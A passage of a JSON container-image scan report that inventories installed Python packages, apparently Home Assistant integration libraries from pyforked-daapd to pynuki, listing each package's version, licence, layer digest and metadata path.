"pyforked-daapd", "Identifier": { "PURL": "pkg:pypi/pyforked-daapd@0.1.14", "UID": "9d2a9cbf5ca44fae" }, "Version": "0.1.14", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyforked_daapd-0.1.14.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyfreedompro", "Identifier": { "PURL": "pkg:pypi/pyfreedompro@1.1.0", "UID": "15a5d0de359d3ada" }, "Version": "1.1.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyfreedompro-1.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyfreshr", "Identifier": { "PURL": "pkg:pypi/pyfreshr@1.2.0", "UID": "d33141957548a61e" }, "Version": "1.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyfreshr-1.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyfritzhome", "Identifier": { "PURL": "pkg:pypi/pyfritzhome@0.6.20", "UID": "af5d92eca1fbd215" }, "Version": "0.6.20", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyfritzhome-0.6.20.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyfttt", "Identifier": { "PURL": "pkg:pypi/pyfttt@0.3", "UID": "3d4e48fd5ecf89ad" }, "Version": "0.3", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyfttt-0.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pygatt", "Identifier": { "PURL": "pkg:pypi/pygatt@4.0.5", "UID": "e5797cd700c1a040" }, "Version": "4.0.5", "Licenses": [ "Apache-2.0", "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pygatt-4.0.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pygtfs", "Identifier": { "PURL": "pkg:pypi/pygtfs@0.1.11", "UID": "a100c1647eef0623" }, "Version": "0.1.11", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pygtfs-0.1.11.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pygti", "Identifier": { "PURL": "pkg:pypi/pygti@1.1.1", "UID": "153145786c0a60ee" }, "Version": "1.1.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pygti-1.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyhaversion", "Identifier": { "PURL": "pkg:pypi/pyhaversion@22.8.0", "UID": "294010066131b09d" }, "Version": "22.8.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyhaversion-22.8.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyhelty", "Identifier": { "PURL": "pkg:pypi/pyhelty@0.2.0", "UID": "63808602e6ad02a5" }, "Version": "0.2.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyhelty-0.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyheos", "Identifier": { "PURL": "pkg:pypi/pyheos@1.0.6", "UID": "f53d6681ac997606" }, "Version": "1.0.6", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyheos-1.0.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyhive-integration", "Identifier": { "PURL": "pkg:pypi/pyhive-integration@1.0.9", "UID": "4edb2d0c0e2b4106" }, "Version": "1.0.9", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyhive_integration-1.0.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyhomematic", "Identifier": { "PURL": "pkg:pypi/pyhomematic@0.1.78", "UID": "fff2a2bd5a41be50" }, "Version": "0.1.78", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyhomematic-0.1.78.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyhomeworks", "Identifier": { "PURL": "pkg:pypi/pyhomeworks@1.1.2", "UID": "5827338dde349c01" }, "Version": "1.1.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyhomeworks-1.1.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyialarm", "Identifier": { "PURL": "pkg:pypi/pyialarm@2.2.0", "UID": "c4141a7e027e5f78" }, "Version": "2.2.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyialarm-2.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyicloud", "Identifier": { "PURL": "pkg:pypi/pyicloud@2.6.5", "UID": "4aa5272af6a6c8bb" }, "Version": "2.6.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyicloud-2.6.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyimouapi", "Identifier": { "PURL": "pkg:pypi/pyimouapi@1.2.8", "UID": "fb5db54866043bb1" }, "Version": "1.2.8", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyimouapi-1.2.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyinsteon", "Identifier": { "PURL": "pkg:pypi/pyinsteon@1.6.4", "UID": "48375e29e9275052" }, "Version": "1.6.4", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyinsteon-1.6.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyintelliclima", "Identifier": { "PURL": "pkg:pypi/pyintelliclima@0.3.1", "UID": "820b7630a8034cb6" }, "Version": "0.3.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyintelliclima-0.3.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyintesishome", "Identifier": { "PURL": "pkg:pypi/pyintesishome@1.8.8", "UID": "e906c7630374e48f" }, "Version": "1.8.8", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyintesishome-1.8.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyipma", "Identifier": { "PURL": "pkg:pypi/pyipma@3.0.10", "UID": "49955b82ba13df57" }, "Version": "3.0.10", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyipma-3.0.10.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyipp", "Identifier": { "PURL": "pkg:pypi/pyipp@0.17.2", "UID": "753e69cb928f7f60" }, "Version": "0.17.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyipp-0.17.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyiqvia", "Identifier": { "PURL": "pkg:pypi/pyiqvia@2022.4.0", "UID": "8f7034fcd984aa10" }, "Version": "2022.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyiqvia-2022.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyirishrail", "Identifier": { "PURL": "pkg:pypi/pyirishrail@0.0.2", "UID": "64f4dd9c89d54a5a" }, "Version": "0.0.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyirishrail-0.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyiskra", "Identifier": { "PURL": "pkg:pypi/pyiskra@0.1.29", "UID": "b6f40b148195956e" }, "Version": "0.1.29", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyiskra-0.1.29.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyiss", "Identifier": { "PURL": "pkg:pypi/pyiss@1.0.1", "UID": "a3c46510f54fc2ae" }, "Version": "1.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyiss-1.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyisy", "Identifier": { "PURL": "pkg:pypi/pyisy@3.6.1", "UID": "211ecd4e4c748e16" }, "Version": "3.6.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyisy-3.6.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyitachip2ir2", "Identifier": { "PURL": "pkg:pypi/pyitachip2ir2@0.0.8", "UID": "504f27b8a19b3fd9" }, "Version": "0.0.8", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyitachip2ir2-0.0.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyituran", "Identifier": { "PURL": "pkg:pypi/pyituran@0.1.6", "UID": "51c10e2726e7f3e4" }, "Version": "0.1.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyituran-0.1.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyjvcprojector", "Identifier": { "PURL": "pkg:pypi/pyjvcprojector@2.0.6", "UID": "47542709fcfc2312" }, "Version": "2.0.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyjvcprojector-2.0.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pykaleidescape", "Identifier": { "PURL": "pkg:pypi/pykaleidescape@1.1.6", "UID": "a1c117a854662580" }, "Version": "1.1.6", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pykaleidescape-1.1.6.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pykira", "Identifier": { "PURL": "pkg:pypi/pykira@0.1.1", "UID": "35f5fe328a48be47" }, "Version": "0.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pykira-0.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pykmtronic", "Identifier": { "PURL": "pkg:pypi/pykmtronic@0.3.0", "UID": "633f7c10b5a99a67" }, "Version": "0.3.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pykmtronic-0.3.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pykodi", "Identifier": { "PURL": "pkg:pypi/pykodi@0.2.7", "UID": "74485e1cde0efde5" }, "Version": "0.2.7", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pykodi-0.2.7.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pykoplenti", "Identifier": { "PURL": "pkg:pypi/pykoplenti@1.5.0", "UID": "91bb00616bb81c88" }, "Version": "1.5.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pykoplenti-1.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pykrakenapi", "Identifier": { "PURL": "pkg:pypi/pykrakenapi@0.1.9", "UID": "236ac9b24491f18a" }, "Version": "0.1.9", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pykrakenapi-0.1.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pykulersky", "Identifier": { "PURL": "pkg:pypi/pykulersky@0.5.8", "UID": "42164586ec61fe25" }, "Version": "0.5.8", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pykulersky-0.5.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pykwb", "Identifier": { "PURL": "pkg:pypi/pykwb@0.0.8", "UID": "4807be5b86294ade" }, "Version": "0.0.8", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pykwb-0.0.8.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pylacrosse", "Identifier": { "PURL": "pkg:pypi/pylacrosse@0.4", "UID": "e2a00302a5be84b1" }, "Version": "0.4", "Licenses": [ "LGPL-2.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pylacrosse-0.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pylamarzocco", "Identifier": { "PURL": "pkg:pypi/pylamarzocco@2.4.2", "UID": "ad0a2fabc2d5089" }, "Version": "2.4.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pylamarzocco-2.4.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pylast", "Identifier": { "PURL": "pkg:pypi/pylast@5.1.0", "UID": "adb98b324da36a0" }, "Version": "5.1.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pylast-5.1.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pylaunches", "Identifier": { "PURL": "pkg:pypi/pylaunches@2.0.0", "UID": "9ed1847f029bc167" }, "Version": "2.0.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pylaunches-2.0.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pylgnetcast", "Identifier": { "PURL": "pkg:pypi/pylgnetcast@0.3.9", "UID": "2271e45dc9a67c53" }, "Version": "0.3.9", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pylgnetcast-0.3.9.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pylibrespot-java", "Identifier": { "PURL": "pkg:pypi/pylibrespot-java@0.1.1", "UID": "32ade5beb52b473a" }, "Version": "0.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pylibrespot_java-0.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pyliebherrhomeapi", "Identifier": { "PURL": "pkg:pypi/pyliebherrhomeapi@0.4.1", "UID": "a47df792744b67dc" }, "Version": "0.4.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pyliebherrhomeapi-0.4.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pylitejet", "Identifier": { "PURL": "pkg:pypi/pylitejet@0.6.3", "UID": "a471e919b7d10bad" }, "Version": "0.6.3", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pylitejet-0.6.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pylitterbot", "Identifier": { "PURL": "pkg:pypi/pylitterbot@2025.5.0", "UID": "41ce29bd0bbc6c2f" }, "Version": "2025.5.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pylitterbot-2025.5.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pylutron", "Identifier": { "PURL": "pkg:pypi/pylutron@0.4.1", "UID": "af1c3ae23e810f6d" }, "Version": "0.4.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pylutron-0.4.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pylutron-caseta", "Identifier": { "PURL": "pkg:pypi/pylutron-caseta@0.28.0", "UID": "b05be2000816d285" }, "Version": "0.28.0", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pylutron_caseta-0.28.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pymailgunner", "Identifier": { "PURL": "pkg:pypi/pymailgunner@1.4", "UID": "9b4184cdbbac3c91" }, "Version": "1.4", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pymailgunner-1.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pymata-express", "Identifier": { "PURL": "pkg:pypi/pymata-express@1.19", "UID": "3b9765e4e1b50921" }, "Version": "1.19", "Licenses": [ "AGPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pymata_express-1.19.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pymediaroom", "Identifier": { "PURL": "pkg:pypi/pymediaroom@0.6.5.4", "UID": "4ad0d67f957d349e" }, "Version": "0.6.5.4", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pymediaroom-0.6.5.4.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pymeteoclimatic", "Identifier": { "PURL": "pkg:pypi/pymeteoclimatic@0.1.1", "UID": "ecd9f1fdbae5ac19" }, "Version": "0.1.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pymeteoclimatic-0.1.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pymicro_vad", "Identifier": { "PURL": "pkg:pypi/pymicro-vad@1.0.1", "UID": "2f6bf45ca1a7aad4" }, "Version": "1.0.1", "Licenses": [ "Apache-2.0" ], "Layer": { "DiffID": "sha256:004179a06b6a0472be884b0ccf179e178ab314bb2a0856f2cd4ea9dfb59cd046" }, "FilePath": "usr/local/lib/python3.14/site-packages/pymicro_vad-1.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pymiele", "Identifier": { "PURL": "pkg:pypi/pymiele@0.6.2", "UID": "1228da0b6c3f2efb" }, "Version": "0.6.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pymiele-0.6.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pymitv", "Identifier": { "PURL": "pkg:pypi/pymitv@1.4.3", "UID": "941a81d3e05359a1" }, "Version": "1.4.3", "Licenses": [ "UNKNOWN" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pymitv-1.4.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pymochad", "Identifier": { "PURL": "pkg:pypi/pymochad@0.2.0", "UID": "df45eed8339e5151" }, "Version": "0.2.0", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pymochad-0.2.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pymodbus", "Identifier": { "PURL": "pkg:pypi/pymodbus@3.13.1", "UID": "665016c7fb54807b" }, "Version": "3.13.1", "Licenses": [ "BSD-3-Clause" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pymodbus-3.13.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pymonoprice", "Identifier": { "PURL": "pkg:pypi/pymonoprice@0.5", "UID": "75e912a6e33f9bd7" }, "Version": "0.5", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pymonoprice-0.5.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pymysensors", "Identifier": { "PURL": "pkg:pypi/pymysensors@0.26.0", "UID": "21c24873201352eb" }, "Version": "0.26.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pymysensors-0.26.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pynecil", "Identifier": { "PURL": "pkg:pypi/pynecil@4.2.1", "UID": "afb94c0cc4b3c637" }, "Version": "4.2.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pynecil-4.2.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pynetgear", "Identifier": { "PURL": "pkg:pypi/pynetgear@0.10.10", "UID": "edf939d43b60639" }, "Version": "0.10.10", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pynetgear-0.10.10.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pynetio", "Identifier": { "PURL": "pkg:pypi/pynetio@0.1.9.1", "UID": "41a36a3a8c85b135" }, "Version": "0.1.9.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pynetio-0.1.9.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pynina", "Identifier": { "PURL": "pkg:pypi/pynina@1.0.2", "UID": "f6154de73a5e4f5b" }, "Version": "1.0.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pynina-1.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pynintendoauth", "Identifier": { "PURL": "pkg:pypi/pynintendoauth@1.0.2", "UID": "ff33c8c9697f459d" }, "Version": "1.0.2", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pynintendoauth-1.0.2.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pynintendoparental", "Identifier": { "PURL": "pkg:pypi/pynintendoparental@2.4.0.1", "UID": "3f726a54ba919d80" }, "Version": "2.4.0.1", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pynintendoparental-2.4.0.1.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pynobo", "Identifier": { "PURL": "pkg:pypi/pynobo@1.9.0", "UID": "66a5fd1bdf5ac16f" }, "Version": "1.9.0", "Licenses": [ "GPL-3.0-or-later" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pynobo-1.9.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pynordpool", "Identifier": { "PURL": "pkg:pypi/pynordpool@0.4.0", "UID": "c1185f6bfc06cc29" }, "Version": "0.4.0", "Licenses": [ "MIT" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pynordpool-0.4.0.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pynuki", "Identifier": { "PURL": "pkg:pypi/pynuki@1.6.3", "UID": "b9525964ec12a778" }, "Version": "1.6.3", "Licenses": [ "GPL-3.0-only" ], "Layer": { "DiffID": "sha256:bcea79c88fe5aada0f27e145450437443b77c145878231b3a859f63d5adf44fd" }, "FilePath": "usr/local/lib/python3.14/site-packages/pynuki-1.6.3.dist-info/METADATA", "AnalyzedBy": "python-pkg" }, { "Name": "pynws", "Identifier": { "PURL": 